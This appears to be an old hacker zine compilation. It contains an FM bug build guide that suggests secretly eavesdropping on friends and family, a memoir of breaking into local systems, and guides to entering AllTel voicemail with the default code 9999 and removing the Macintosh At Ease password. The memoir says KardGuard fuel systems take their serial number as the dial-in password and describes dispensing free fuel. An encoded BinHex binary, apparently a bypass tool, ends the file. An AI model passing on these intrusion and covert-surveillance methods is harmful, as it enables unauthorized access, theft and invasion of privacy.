You will need a decent knowledge of electronics and how to solder some
components. So if you dont know how to build electronic kits and want a
bug you can buy one ready-made from me, just write to the e-mail address
above. Ok enough crap.. so you ask what is an FM bug, well an FM bug is
like a tiny microphone that can transmit crystal clear audio to a near
by Walkman/stereo etc. The range of the bug we are making is about 800
meters, and the battery life is about 100hrs on a normal alkaline
battery. This bug however is not to be moved while in use, so you cant
put it in your pocket and walk around. There are other bugs on the
market but this I found to be the most reliable and relatively easy to
build. The actual size of the PCB is only 2cm X 2cm! However the battery
is actually the biggest component. Some parts like the Surface Mount
resistors, air trimmer and electret microphone maybe hard to find. I
find mail-order catalogs are the best source of parts as they have a
bigger range than a store like Dick Smith. I did not actually design
this circuit, Talking Electronics did, but felt everyone out there might
like to know how to build one of these. The surface mount resistors can
be replaced with normal resistors but I recommend using the surface
mount resistors as they give more of an educational experience to this
project <puke> <puke> If you dont have a clue how to build a bug and
have no knowledge of electronics whatsoever e-mail me and you can
purchase one pre-built from me.
COMPONENT LIST
Resistors
1- 470 R surface mount
1- 10k surface mount
1- 47k surface mount
1- 68k surface mount
1- 1M surface mount
Capacitors
1- 10p disc ceramic
1- 39p disc ceramic
1- 1n disc ceramic
2- 22n disc ceramics
1- 100n monoblock (monolithic)
1- Air trimmer 2p-10p
Other
2- BC 547 transistors
1- 5 turn coil 0.5mm enameled wire
1- electret mic insert- high sensitivity
1- 9V battery snap
1- 15cm tinned copper wire
1- 30cm fine solder
1- 170cm antenna wire
NOTE: use 170cm of electrical wire for the antenna, this length will give
you maximum range, however since the antenna wire needs to be extended
when bugging the concealability might be a factor. You can shorten the
wire's length but this will shorten the range yet make it easier to
conceal. Weigh the factors and do whats right for you.
ASSEMBLY OF CIRCUIT
First familiarize yourself with the layout of the components.
Now the only polarized (parts that have to put around the right way) are
the two transistors, the battery and the microphone. All other parts can
be soldered either way around. I recommend using this order for assembly
as it is the most practical and easiest way to build the bug.
1. 5 surface mount resistors.
2. 6 capacitors.
3. 2 transistors.
4. air trimmer
5. 5-turn coil.
6. battery snap.
7. microphone.
8. antenna wire.
READING RESISTOR AND CAPACITOR VALUES
If you dont know how to read the value of a surface mount
resistor or disc ceramic capacitor read on.
Surface mount resistor: These have three numbers, with the first two
digits being multiplied by the third. The third digit represents how
many zeros after the first two. For example a surface mount resistor
with code 1-0-5 would mean that the first two digits (1-0) would be
multiplied by 5 zeros. To give the value 10 00000ohms or 1Mohm.
Capacitor: These are similar to the above but the base number is pF or
pico farads. eg a capacitor labeled 2-2-3 has the value of 22 000pF.
HOW IT WORKS
The FM bug circuit consists of two stages: an audio amplifier
and a RF oscillator stage.
1.THE AUDIO AMPLIFIER STAGE
The microphone detects audio in the form of air vibrations that
enter the hole at the end of the microphone and move the diaphragm. The
diaphragm is a thin piece of metalised plastic and is charged during
manufacture. Some of these vibrations pass down a lead which touches it
to and into a FET transistor. A FET transistor has a very high input
impedance and does not have a loading effect on the charges. The audio
then gets passed through a BC 547 transistor which amplifies the sound
around seventy times. The BC547 then passes it to the base of the
oscillator stage.
2.THE OSCILLATOR STAGE
The 47k resistor picks up the pulse from the transistor and then
turns the second or oscillator transistor ON, but the 47k resistor has a
value so that it will not turn the transistor on fully. So the feedback
pulse from the 10p capacitor turns it ON fully.
Normally a transistor is turned ON/OFF via the base, however it
can be also done by holding the base firm and differing the emitter
voltage. In the FM bug this is whats done, the 1p capacitor holds the
base firm and the 10p feedback capacitor differs the emitter voltage.
However for a capacitor to do this the emitter must have a DC voltage
that can be increased and decreased. The DC voltage is about 2V and the
base will be 0.6V higher than this so the base voltage is fixed at 2.6V
by the 1p capacitor. The voltage does not rise or fall when the
oscillator is operating only when the audio is injected into the base
via the 100n capacitor. This is how the circuit works and continues like
this at a rate of about 100 million times per second.
The oscillator is designed to operate at around 100mhz, however
this figure is dependent on a lot of factors such as the 6 turn coil,
the 10p capacitor and 470R and 47k resistors also and the figure of
operation is about 90mhz (my FM bug operated at 88.5mhz).
GETTING THE BUG READY FOR ACTION
Ok so you have built the bug now and are ready to use it. Well
first of all you will need some sort of FM radio. Alright put the bug
next to or near the radio's antenna. Turn the bug and the radio on.
Alright starting from the bottom end of the radio's FM scale. Slowly
progress your way through the FM band. Usually your bug will tend to be
around the 85-95mhz range. Once you hear a beep (because your bug is
close to the radio) or any other strange static noise stop. Alright you
might have been lucky and your bug is exactly tuned already, however in
most cases you will need to adjust your bug slightly. Using a small
screwdriver slowly turn the air trimmer, whilst doing this babble out
some words, stop turning until the echo of your voice through the radio
becomes crystal clear. Your bug is now tuned and you are ready to put it
to use.
You might have some problems with your bugs frequency being
exactly same as a radio stations. No problem, by compressing or
uncompressing the coil you can change your bugs frequency. Use the coil
method if your bug is in the middle of a few radio stations frequencies,
if you just need to move it up or down one or two mhz then use the air
trimmer.
PUTTING THE BUG TO USE
Many of you already have your ideas on how to use the bug.
Remember it might be illegal in your Country/State/city to use this bug
in the way you intend. Hey its up to you I dont mind, however I take no
responsibility if you get in trouble.
Anyway here are a few "friendly methods":
1. CHRISTMAS. Yes it will soon be that time of year again, and
this time also brings a great opportunity to discover some of those
family secrets or maybe even find out what lame presents those relatives
have brought you and save you from the disappointed face they will see
when you open it.
Okay put the bug either in the pot the tree is standing in or
fasten it to a branch relatively close to the bottom of the tree. We
place it at the bottom of the tree because the antenna needs to be
extended if we want really cool range. Okay put the bug in its position
and then unravel the wire all over the tree.
2. TV listening. Okay if you are out in the backyard whether it
because you want to, or there is some chore that needs to be done. You
can listen to a favorite TV show, or a basketball game or such. I know
your saying why not listen to the radio, well you now have a choice of
listening to a radio station or one of the 10000000 TV channels your
state offers you.
Set the bug up about 3-5m away from the TV, then adjust the TV
volume so that it is just right to hear on your radio.
3. Bug-a-friend. Okay you can bug your friend to see what he/she
is up to. Okay you will need to know where your friend goes and then
previously go there and set up the bug and your listening point. Make
sure that you set up a place where conversation happens, it is very
boring listening to insects and such.
Conceal the bug anywhere within a 3-5m radius of where your
friend talks and stuff. Now conceal yourself and then sit back and
listen.
Now there are a few of the more "legally friendly" methods,
there are thousands more not-so-friendly and even malicious
methods <Oooooooo> that I will leave up to your imagination.
CONCLUSION
I hope the information contained can help you successfully build a bug,
and then good luck using it. If you have trouble just e-mail me. If you
can not get hold of some of the components, you can order them through
me. Also if you want a bug, but dont have the electronic skill to do it,
you can buy pre-built bugs through me.. just e-mail me. may the force be
with you
Obi-1.
------------------------------------------------------------------------------
My short time as a hacker.
by Kwoody
I live in a small town in northern British Columbia where the city
owns the phone company. All of BC is serviced by BCTel, except here in
Prince Rupert. The phone company used, up until 1991, mechanical
switches, no lie! Tech dating back to the 50's sometime. I know this
because I know some of the workers of CityTel. (The name of the phone
company). Because of this they were not able to offer all the goodies
like Caller ID, Call Forward etc...and it was easy to hack then, not
the phone company, but all the other systems in this small town of
16000+ people.
I got into hacking sort of accidently. I have had a computer and modem
of one kind or other since about 1983. I moved here after high school
in 1986 and found a good paying job I have worked at for the last 8
years. One night night in 1990 I was sitting around with my roommate
having a few beers and decided to call a buddy of ours to come over
but I dialed the number wrong and got a computer tone. Cool I
thought... I knew the numbers of the 2 local BBS's and that wasnt one
of them.
I fired up the computer and called it again. I got the prompt:
Xenix 386 Login:.
I had some knowledge of other OS's and knew this was some kind of Unix
box. A friend of my roomie was going to university (UBC) and he
happened to phone that night. I chatted with him for a bit and told
him what I had found. He told me to try sysadm or root. I got in with
sysadm, no password!
I found that I had complete control of the system and it belonged to
the local school board. I bought a book on Unix and learned as much as
I could about the system and Unix in general. I guess being a rookie
(read lamer?) and not knowing shit about how to cover my tracks they
discovered the system had been hacked and shut down the dial-in. They
went back online a few weeks later and left sysadm wide open no
password again. I could not believe it! Even after being hacked they
still left their system open like that.
By now I was hooked and I wanted to see if there were any other
systems in town. I could program a little in Pascal and basic (lame)
and tried to write a dialer of some kind. No go...so instead I figured
out the script language of Q-modem and wrote a 40 line script that
worked. It dialed all numbers sequentially but I did not worry too
much about being caught since the switch they used was so ancient
because they didnt have caller ID or anything like that yet.
I did not know at this time of the hacker community and some of the
programs available that would do this already. And even if I did I
wouldnt have known where to call and get them. At any rate I had two
computers an XT and a 386 both with modems and two phone lines, one I
used as my normal voice line and one for data. I setup the dialer on
both and away I went. By the time I had finished scanning both the
prefixes, 624 and 627, I found about 30 computers. Of those I was able
to get into about 10. All of them used defaults and all except the one
below were Unix boxes.
Although I did find one number that connected at 1200 I think it
belonged to the phone company. After I was connected nothing would
happen. I tried for a while to get a prompt of some kind then suddenly
a line of text appeared that listed two phone numbers and some other
stuff that I cant remember. So I just left it alone for a while to see
what came up. It soon became clear that the numbers in one column were
always one of 4 numbers. RCMP, Fire Dept, Battered Womens Shelter and
a second RCMP detachment. It looked like it recorded all calls coming
into those 4 places.
One hack I did was on a system that dispensed fuel. It was called a
KardGuard 3000C. I knew of two places in town that had these systems.
One was where I worked and the other was our competitor. And since I
knew how it worked it was easy to get in. I saw their volume of fuel
dispensed and such and could have done really nasty things like erase
their transaction buffer or get free fuel from them. But I didnt since
I did not see the point in hurting them or their system even if they
were our competitor.
For those of you who might find such a system I'll give a brief run
down on it. The hardware is limited to 300 bps 7E1 and consists of a
few things.
You can tell the system as it announces it when you connect:
KardGuard 3000C Motor Fuel Dispensing System.
PASSWORD:
The system uses punch coded cards read by a card-reader. You have a 4
digit security code that you need to activate the pump to dispense
fuel. Everything is kept track of by a computer that reads the amount
of fuel pumped, date, card number and a few other things depending on
how the card is coded. Like odometer reading or car number.
Now to get into this system via dial-in all you have to know is the
Serial Number of the system. All of these type systems use the serial
number as the default password to access it via dial-up. And its easy
to get the serial number. If you know the location of the card-reader
go and look on the side of it. Generally the actual card reader is
housed in a metal box. On the side of the card reader itself near the
back is a small sticker and the serial number will be written on the
sticker. That was how I did it. I just went to their card reader and
took the serial number off it and got in.
Once in you can do any number of things. Shut off the pumps or
manually activate them without a card and get free fuel, see how much
of any product was dispensed. Products range from 0-15. 0 being
regular gas, 1 regular unleaded etc. It is fairly limited of what you
can do but you can do some nasty stuff to the company who owns it if
you know how. A note to this all commands must be UPPERCASE. And all
commands are one letter. Like E is for looking up the 4 digit code for
individual cards. I dont remember all of them as we upgraded to the
latest version of the KardGuard which supports up to 14.4k and is a
faster system.
After about 3 months of this sort of stuff I was at work one Saturday
and got a phone call from a Constable Burke of the RCMP Special
Investigation Unit.
He informed me that he knew about my hacking and would like to take a
look at my computers. I told him that I didnt know what he was talking
about, he just said we could do this the hard way and he could get a
warrant to search the place. He wanted to meet me at my place in 10
minutes. I said ok. I was shitting bricks by this time. I phoned my
roomie and told him to get all printouts and disks out of the house
and take them away...anywhere. I took off home and got there to find
my roomie gone with all printouts and disks. I fired up the computers
and formatted both HD's. Formatting a hard drive had never taken so
long before!!
I waited for like an hour...no sign of the cops. My roomie came back
and said where are the cops? I dont know I told him. I waited some
more still no sign of them. I got a call about 3 hours later from a
friend of my roomie and he asked if Constable Burke had showed up. I
asked how he knew about that and all he did was laugh his ass off! Now
I was thinking joke...bad joke...and it was. I managed to find out
that this "friend" had gotten someone to pose as a police officer and
call me to see my computers regarding hacking. Well the guy he got to
pose as a cop did a good job at fooling me. I guess I was just over
paranoid by this time. Plus I was really pissed as I lost a lot of
info that I had acquired over the previous months when I formatted my
hard drives.
I guess my roommate had been telling a few people about what I was
doing. I was more than a little pissed off at him as I had not told a
soul of what I was doing since I knew it was illegal as hell. I got my
disks back and burned the printouts and laid off the hacking for a few
weeks. I started up again and was a tad more careful. I didnt keep any
printouts and kept the info on disk to a minimum.
Then about a month later my roommate, who worked for our landlord,
came home one day and said that our landlord had been approached by
some RCMP officer regarding me and my computers and what I might be
doing with them. I said is this another joke? No he said, go talk to
him yourself. I did but he wouldnt tell me much except that something
was definitely going on regarding me, my phones and my computers. And
the RCMP were involved.
After asking around I found out that quite a few people knew what I
had been up too. All they knew is that I was some guy who had been
cracking systems in town. But word had spread and I still dont know
how the cops found out or how much they knew.
But after talking to my landlord I quit right there and then. I went
home formatted the drives again, all floppies and got rid of
everything. I had hacked my way through everything in town that I
could in about 6 months. Also by this time CityTel had upgraded their
switch to some of the latest tech and had Caller-ID installed along
with all the other goodies you can get these days. It was definitely
time to quit.
Not long after I started a BBS that I still run to this day. I figured
that was a way to kill the hacking urge and be legit. I dont live with
that roommate anymore. I'm married now and still think about it now
and again but have too much to lose if I do and get caught.
On another note about 3 months ago I was at work and dialed a wrong
number. As fate would have it I got a blast of modem tone in my ear.
My old hacker curiosity came alive and I made note of the number. We
have a small lan at work that has a modem attached and when I had a
free moment I dialed the number up. I got the banner:
city telephones. No unauthorized use.
xxxxxxx <----a bunch of numbers
username:
I hung up right there but it was interesting to see that I had found
CityTel's switch or something of that nature.
To this day I dont know if there were any other hackers in this small
city where I live. As far as I know I was the only one that did any of
this sort of thing. It was fun but near the end I could feel the noose
around my neck. And I quit while the quitting was good.
Today I help admin our small lan at work with 2 servers and 8
workstations and the Unix I learned hacking helped me when my boss
first started to get serious about computerizing the business. Since
then I have been able to help setup and maintain the systems we have
today.
I'll give the specs on our new KardGuard if anyone is interested as I
know they come from the States and there must be more than a few out
there.
kwoody
------------------------------------------------------------------------------
USING ALLTEL VMBs
By Leper Messiah
Ok. This is everything you need to know in hacking AllTel Mobile's
Voice Mail. The default password on all their boxes is 9999.
Here are the docs, word for word. Enjoy!
-----------------------------------------------------------------------------
Features
-=Basic=-
Accessing your mailbox
Changing your security code
Recording your name
Recording a personal greeting
Playing a message
Recovering deleted messages
Playback mode options
-=Enhanced=-
All of the Basic Features plus...
Setting up your greeting schedule
Replying to a message
Redirecting a message
Recording and sending a message
Creating a broadcast list
Personal greeting schedule
At a glance
VOICE MAIL SET UP Press
To change your security code 8 2 3
To record your name response 2 3 3
To record your personal greeting 2 2 3
To edit a greeting in your schedule 2 2 7
To activate your greeting schedule 2 2 8
To change your playback mode 8 8 3
SENDING AND RECEIVING MESSAGES
To play a message 1
To save and play the next message 2
To reply to a message 3
To redirect a message 7
To create and send a message 3
Accessing your Voice Mail
1. Access your Voice Mail.
From a cellular phone press
# 9 9 Send.
From a landline phone dial your
cellular phone number, which will
automatically transfer to your voice
mail and press # when greeting begins.
2. Enter your security code.
Creating/Changing your security code
1. Access your Voice Mail.
2. Press 8 for Personal Options.
3. Press 2 3 to change your security code.
* Note: Your security code can contain 1 to 7 digits.
Recording your name
1. Access your Voice Mail.
2. Press 2 for your Greeting Menu.
3. Press 3 3 to record your name.
4. Record your name, finish by pressing #.
Options
Press 3 1 to play your name.
Press 3 3 to erase and re-record your name.
Recording a personal greeting
1. Access your Voice Mail.
2. Press 2 for Greeting Menu.
3. Press 2 1 to play your greeting.
4. Press 2 3 to record your greeting,
record your greeting, finish by pressing #.
Playing a message
1. Access your Voice Mail.
2. Press 1 to play your messages.
3. Message will play.
Options
Press 1 to keep this message
as new and play the next.
Press 2 to save and play the
next message.
Press 3 to reply to a message.
Press 4 4 to replay a message.
Press 5 to erase a message.
Press 7 to redirect the message.
Press 8 8 3 from the main
menu to choose a playback mode.*
Continue to press 8 3 until the
desired playback mode is selected.
* Note: The system has three playback modes:
normal, automatic, and simplified.
Recovering deleted messages
To recover a message that has been deleted: **
Press * 1 to go to the main menu,
Press * 4 to recover all deleted messages.
** Note: Deleted messages can only be recovered
before you exit the mailbox.
Replying to a message
From the Play Menu:
1. Press 3 during or after a message.
2. Record your reply finish by pressing #.
3. Press 3 to continue recording a voice message.
Press 5 to erase a message.
Press 7 to select a special delivery option.
4. Press 9 to address the message.
If sent from a subscriber's mailbox,
the reply with be automatic. If not, enter
the mailbox number.
Redirecting a message
From the Play Menu:
1. Press 7 during or after a message.
2. Press 3 to continue recording a
voice message.
Press 5 to erase a voice comment.
Press 7 to select a special delivery
option.
Press 8 to play the original message.
3. Press 9 to address the redirected message.
Enter:
a. mailbox number
b. broadcast list number.
Recording and sending a message
1. Access your Voice Mail.
2. Press 3 to record a message.
3. Record your message finish by
pressing #.
Press 3 to continue recording a
voice message.
Press 4 4 to review the
recorded message.
Press 5 to erase a message.
Press 7 to select a special
delivery option.
Press 1 to mark a message urgent.
Press 2 to mark a message confidential.
Press 3 to select notification of non-delivery.
Press 4 for future delivery.
Press 5 to delete special delivery tags.
4. Press 9 to address a message.
Enter:
mailbox number
broadcast list
0 + last name - 0 + first name
Creating or editing a broadcast list
1. Access your Voice Mail.
2. Press 6 to access your broadcast list.
3. Press 3 to create or edit a broadcast list.
4. Enter a one- or two-digit broadcast
list number. If new list, select any one-
or two- digit number. If editing, enter
the one- or two- digit number assigned.
5. Enter all of the destinations.
Press # after each destination entry.
(destinations can be mailbox
number or broadcast list numbers.)
6. Press 7 3 to record a name for
your broadcast list.
7. Press # when finished.
Setting up your greeting schedule.
1. Press 2 from main menu.
2. Press 2 6 to select your active greeting.
3. Enter the greeting number you want active.
4. Press 2 7 to edit a greeting.
5. Enter the greeting number to be edited.
Press 1 to play the current greeting.
Press 3 to record a greeting.
Press 5 to erase the greeting.
Press 7 to change the time
interval for this greeting.
Press 8 to review the time interval
for greeting.
6. Press 2 8 to activate/deactivate
your greeting schedule.
Message waiting notification
1. Press 8 for Personal Options menu.
2. Press 6 for Notification Options.
3. Press 1 to play notification telephone number.
Options
Press 6 to enable/disable
message notification.
AT ANY TIME DURING A MESSAGE PRESS
To rewind by 6 seconds 4
To rewind to the beginning of a message 4 4
To fast forward by 6 seconds 6
To fast forward to the end 6 6
of the message
To replay the date and time stamp 8 8
To stop and function #
To return to the main menu * 1
-----------------------------------------------------------------------------
Good luck hacking.
-- Leper Messiah
-----------------------------------------------------------------------------
Hacking At Ease for the Macintosh.................. By: Ace
Introduction:
Some educational institutions and businesses use At Ease to
discourage the pirating of programs and access to sensitive files, and
generally screwing up any fun you would have! Wouldn't it be nice to
know how to be rid of it??
How to:
Well, this will tell you how to remove the password for At Ease
so you can gain access to the Finder, and also let you change the
password to one of your chosing, really screwing some one up.
First off, the computer you will need a copy of Microsoft Word
5.1 or 6.0 (Norton Utilities Disk Editor will also work, and I'm
trying my best to find other programs that will allow you to do this).
Launch Microsoft Word and go to the "File" menu, and select "Open".
Now change the "File Type" to "All Files". Navigate to the Preferences
folder and open At Ease Preferences. It should look like a giant mess.
Somewhere in there is the password. It doesn't really matter where.
Select all of the text with Command-A and press the delete key, and
save the now empty file. Restart the computer. Now you can select "Go
to finder" from At Ease's menu.
Other Programs:
You can also use the following program called DisEase. There is
also a HyperCard stack that will bypass At Ease. I have used them both,
although I feel that using the above method is better.
___
/ _ \
/ / \ \
/ /___\ \ce
/ _______ \
/ / \ \
(This file must be converted with BinHex 4.0)
:#d4TFd9KFf8ZFfPd!&0*9%46593K!3!!!#iE!!!!!"Dd8dP8)3!"!!!Z'h*-BA8
#r`!!!"Err`d!"d4TFd9KFf8!!kB8!0phS!!4QKS!!!#!!!!!!!$RQdl"G!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rrrrrd&38%a&390&)3#SX5K#U,)ak!!!Ah8
!!!!!!!!YP3!!!!"j!`!!!!!!!!!!E$d1!&h(r2bZe8l@f@95I#BhbSpfRTQlBe[
GZRV*IQ9bSprES-Z&df[JCqmPT`0qRTYYSl9`F1ZHk'ffA-rG'BYZdmh@@Mc22B!
l$RR#(H@AF$pG#19#YJrZK,aL9`cbK5mm9V&0&mVGP(YHjbP3A8F[Z9m'0cbI,(Q
Jj1#41AcbN!$F3JD3!"')6q"h8PH-5Bba$`mcGJrH[PeSiT&&LDFRr84p'`Y1"`T
H-XZcQpSAV@Z[edU,Si45[DkYBqA5Q[!%i(X6Pji[IrK2h%jY*r0,JZVrURhm)I@
qG&NM4TfhhhBBFab8MT2Mj1"e831I@rZ*c4c'@MUhEVe8CEXkHc@(bj86S%Hrf3*
rjKa@cE)V9cXCUl&Nh[Lqp1D+fXC%G*kcE'qcNdVel4TMFPE#fE3J-Ijj6&9JDM'
ImQ&U!&1I5eGcj-m4HZ9cqB%2e6UCb[XU1cpPE`2c,BXHU'rTB!`-Kl3@PM0[%`X
i)kK8Cf`HZ$K$U#UFi95,-p6U2pELR&R)H$f%HJce@EFHAXM5KdU+@3ja*E6HQiR
Pam'bE9dMP!6$-HY3Vk%"imJ6M6Q%e9Y3&k!khCjU(YpEq9cfTV9lA'f@YL5hYA4
`E8Vb#j[(pjANpqSPqCA2qDhL6rG'#QXV1bYA-jC66+jTr#hV8+#B69rDYj!!pGj
49$[q#0ImNI6Q"EAMZphH&[3qZA!HIqqZI-jhSq$k@'TGbmDYpAI@lh#Y3%TP"1H
FHBb02l'kcfE[6cJ1&#J!Ef"qdYjQEZKSHQ"G"pN@H+`#hS%[8CAN3(e@q9cZPk(
TdbAPL)*ZG)p3PbC4IaV[ahSrC68Z,'IGm-6(hlH65H02eA!p2V1L[ReECpZ'qN9
YEG[D`1iVl(#UQ4hZI5Yr(P"k'Qk`EPPBlMMNQ'Mcq*-P1GDKG0hlDXGheJ9l[c%
jfpY+-aacC`0Mhih1'pqERf!jkaPl,RQHpIh`,CP9rN"N!r#kHqI#(`m"j5'ipI%
YM2hqQN4MpHDX&BR0UqYb9L8f-rC`AG`k4(Lp(rSI(T1HAEZRVJ+6F-$i!I6ZF([
$k-9)*HVhIVeZ$[!1Y$TpmmEr'AQimVQ-!B3!DRpG,["BR4qp64AcaTpUC*Q4bNl
RV*2#qaKr[q'FGXj8VXi-Pq4E,FjB&)N#$ImF'[kBkhCX`Fk"!@HB9fGj0E*Jjk2
h1ZFAl0bpfaRM9FBk"$IZXJkPYMY1lml#@UZapaR5)G@5'8Ph`2Zc5[,6l4bPqh"
q8DdcC+hK#,,@l!ceh&U5MdNC$Xm!F4MDIURh-kQY,&!bcaNk2$29l!`I"S2HAHL
FVh`Zkd[hlUR,KDrEJ$M@qpRm&LBjB`f$32KGcZFfMSZ8"2[fe(B@6Up(G90k3pd
F9j&jQGFA3QPdahSA@ifmrLDPZm!85B8N[DZqTG0XEGf+U+,%j1l)hj),Cf5*h(%
6MA!@0a(-"-i@hCq3!+6'i1BE9L5fA!Zfm',Qm4SS*hV1NCSpm-RmLcPDHpH1@Q,
L*RlUCllCFeTBS,#&j6r%SQTMhCElILI4Q,0jlGV%jTUkk"qICR,$XT+mG(Y*AUq
HfM,K&kiiCPbr6(ZJq&1pN6SG161AjA,2c#d[L'CY#5#Pj,TFfPfLcc2T)HRp5jL
kl+Hcqk"*"m[re-S1E)Z3!,8$#abc[T)j6AZ$-e55rb'H"V`DiGAj$e%Q$(f)dZ!
-ViBVJ0I)T$2D[-cT)dqcR!BQ[8(FZIY1TpXVjQ@HET`MNZ0`[TFC&iDdjXcT&$D
TN[c$-r(1J@0QHM23mh2TJeCMqP(+#1`(mpP59%[Br[3KGf13!+6T5)L(A$C2%XZ
D2BeCB(lfm#aJ202+![1!4,[%Pi"b9#3$9i1m-B3YDI(D2@jU#*Bl1-[Gll#%Jl0
QZbc,rcG,hmR,,$F`UMiRVEh)-JrZrCTJHIl(rj8PI#6p*jlE2ClN0BRe2ZpjlI`
M,[0E1229dYhT3eSq'1D8j00NqLaa5Mm+[ckEDXimRck,DJ$GiiF,h*QAq-b2d$f
*Q@+ifmh1[DYD0f,$Ueh9dY(8XE9qBkR)Y*(8cl,C(GM!bl&[4jHBTc+I[bhR8pM
$Si[08mkpa6Pld)0Z)`ZR4E2hEXml[*!!4DGP*D50U,1c%Z`T-C-qa"8fV%2B1B#
'A2Ka5EQ'J`AD3+aE8YXPGRK48@hQ0&*[%Z29+aLp)F)3EKKpJ()*Q`T9"FX'f8R
R0#Rjk@4E2C4Fdp5bFGZ$3X@KNQahhmm&,h",hfrG![A"%5lj5N8"FLm)(YqiiTU
k"`LYYbd+V#2BqaYbd6Q2cYR'HbmcZ,%LZf(fVcNm*0AGGJQViBD+l-CVIqh5KpJ
mm(@'V9Yk1i$c-($8Aq-)9Gl9X""Ek*'E@(ifNaU3!,dmNrbdNIYZUX0@a[[6H*p
hiE!hm$k&pmrG$IeKE1L2)X%C1cl"lLA"M[fTUqil'I,I(5)B6$RN(3l[1)4M[H1
3!%YBIqZ3!(G`,MY%+1$ZJ-8&2#IXECI6$UF[f!-2UpM2dhKr+IelVFkaj[%[,f5
mqpR*1HV`@FUfcr)-AiqC,q0pQ%p64b"1cK$fiI4RLIZMLp[@0GF[j@G4QGG,XR(
Zp'fF4$8l,r+6U1rbNkJrGBC4(A91SIUKFhVHcZD'M@h1kpJ+bpZE'PZJm1YJlLH
PSq8j0kH[[D1JBNP$"mf[UhqJSk6mrXkQ$Tl01#AKQ6S8,Fp6ACaPY%8l3hLISQd
$A8TCC'qdI-Ce,NBKa`!lfCqqePSM'%cd6SPHUe6A&Pe#*d'CebZIBdrQ,aPrBL*
p*%SEeM142M,[laAR3jRAN6bRm4kF1KrLh2k4-bXZcTcNZrabL'afZ)H+HQf`)&T
3)6Ak$bfZNlqiZ(Khj3mkC+efS9b5mj8h1eMPH@GBfmEm@JR,`4BaU09@9e8H)qI
IA995[V*Q4B4frGiH(4ZmT@J&MEU@d+UMXf0dMR$Yea,VJkeXTGQB&CMpJlkkXi(
!LN42FH9pB,'RmPM&G[Qa,AUdR1hpiQ)pKIU*3iZrr[h'J&kVe8B,5UEhl&fBB2l
+6Z+2D8P2e@Aj3RQba0!0[*CBQE$@,[qq-aE$CUpYPjmZfqPNQ*aIb"`f[G'U+'3
j,4TQ(#CcTY%bC"Rem[60"RSi4kfld@VLL$+`!SdjQ2*M+JZeMmQBpHI2Cl*8dT)
EQ#q9V%L%%LbEFjQC-jrjmr6'V""abXRI[Y#4(eX[ZY-$mq@Ec221Kf2B*BjSDrU
GX49QQFPb+qE,Rpdb1cKIZJ!*VmQAX(2N3VIMS8dXQmdSfbi(f-b+lEkcc6DBc`4
kZG@i(1KD9HRfh,9XGQ[1Nh804ZNQ&QIA2TRGF%0i%lZ(4F-l&keBHLHlX9A#G&E
C*RBYQeReeka,@kVAhPYear-rIk6b"cL9IK(E[53fZiG`AYEc@bZ@j#pKdj[2pQa
!RMbAENPRHS1pdGi"*-T(N!!l1,[@#RTLk@UJ"Gac3cUh[EpQ$dHHe[ac#qGYf*p
ZAl#6&BirLFl1pbA'HrMH1TG[iR,[mpJqRqAEjeIBNhc'afHq`8r(-)20k6DDmjh
k&CE[c5YBl[RD6CJk2S@%ma@D1HNKdBB($3f@LqTHCY&j3qBPp1Vja"qk%`1YqFH
D-pr''6A9ck-H4[fL@q1NND2mL%pred9jbChq8lIq2U(Jp1ECRPY4IB0AahPeXZG
@D0'&pm2&a@,6rZ65PUD1TR9EQlSSHhYaAXV2+ri%fQ&,%GV4b4ek(k#kT0aHXAT
&ledF4q)iTcb0-Aq+F(Tr'bI$iY3Ufi,hm(k'YVE-9rQ')2%cNUq`IGK2F$kre3m
rhe"5RUj$'Mc(@QpLlfYa4M02SaV*2,0f6b"El(Tlee3Z@YUqY"N(JmdipklIk*l
BJH1KN[)epU,&#mYPeYXcVaERpP$ZMS,m*3j1lMMc)h9qU("%-2R%QNe0'cB4iL3
$1TNX+'Cjd1@6a#"DRRlL#iZr1ZL-VIkHRHeTm*QDYR@YjJ2VQVDZ@mm2(TR-cr2
arTbe2EIL$ip#33-Ee`j+Ua5fK03DE'D5IV[cDZ@r$$#YQ@fYh0XlI2HHN[*l&Uf
SJNipaKVUfQD059eYM9DYEjqHBkbSQaPlT5%hGN1GE&e2QIZYrSE"hLrfIT'MV9L
%hBr3HQl@UPp,'$2UXQ+cr``-XAf-p(i4'dTYE(CmpT'eb2Vc&9CMTR*)'h0R(Vm
iFpkGX9TbpjV0@FF5jK$1K3)dbaJf,(q*bI`k0Uf5@QMj-`U`19,+HZNlKH`f+EA
SqrrQ4hE+XUbq&iip[1bRV&`[!20h88Ya2XiqMrP2rphm6Nhk"i5jrc#I2mQJSR[
cM4@l0ZIEhIBZ6'US1QhD@UrP%jfBcH@6@CMU,1DlaGHk0f6TV*99GKjjG(eqp`Z
T4)aCL95LX[0VMkkrSCMhD#Uej!k@@[,B#p(Xe**BGQ8R1H+ehDpp!LJMh5rd24V
c[GKAl%XY1GUA@[,$4qYcpMfmhNqF9bEUAUqNBqBH[)mJ14j"[4G[MIRj1H)3fqI
@iPaaL$hReMm@Y83RpP62GHY+Yfi4Y9`SD[mh8FZp3p05SXlqT+Mcbphk@9&,Bfj
p305-SIC4cA*c6V)Xe26'dETh1BKm3Jqr)M9e,@VLqT!!1mrB,*`6apM6NSeYeB2
MGkPQXd*@+-ACN!!f0CJET4$Y[R)e+KYLj1#H8J$86rSF"`$5%b-,hqVa*kBr-ec
lCPUY[[A+QqCS2Zf[RTiHAXjlK%P[`UHh+p+[RfbcZRSCK%D,Uh2M)R2P)QSZAN%
,!kQd0&NC%4fm%p3Sk$[jXFa(-miEhh[MHaRRYHm-rM6cd@k`p%J9p!PMA(RFmAG
eCc01R$L"%K8pVq*pR0H$Jlr!Hr$%kB(6,jmHQ+TrJIIJL3(8!e3lU*h"9`HGFE`
c*dkm6"51!TSr[j,GFr6I2k2LQ@LZlYV4Y@1('"TcKeGe6I6(k0Qa@Y68[qfffmC
@V4,eIqPhG8hdrk+SU)Mk[%ErP5,('H[D)HUadI(aF9LSUd[8Bk0GA9fVGU!J99D
Y%U3[2[p0hPpj3(,kN!"a5'J@B#2XQUXMj-qlr(h15CEY$,R4Hc@"jcH-*bmkrY0
$kFAcbhe1$*`B1(lmf-6imCF(AXEM$TmiMZ'"P`FSi5MMMJr300i$aemq-A"8M#(
94(f8jJF'MJi-L2VSmH18D%G2[#aUc*mH'1LMH9krH[a5rmVmZhKZrf@h"Mm5M[U
m"Kr1'h`prTrQr41L4Vpm`(')$kr4[ichjiF22q1-RcJKkU-RALAGIJ(PH3fpi39
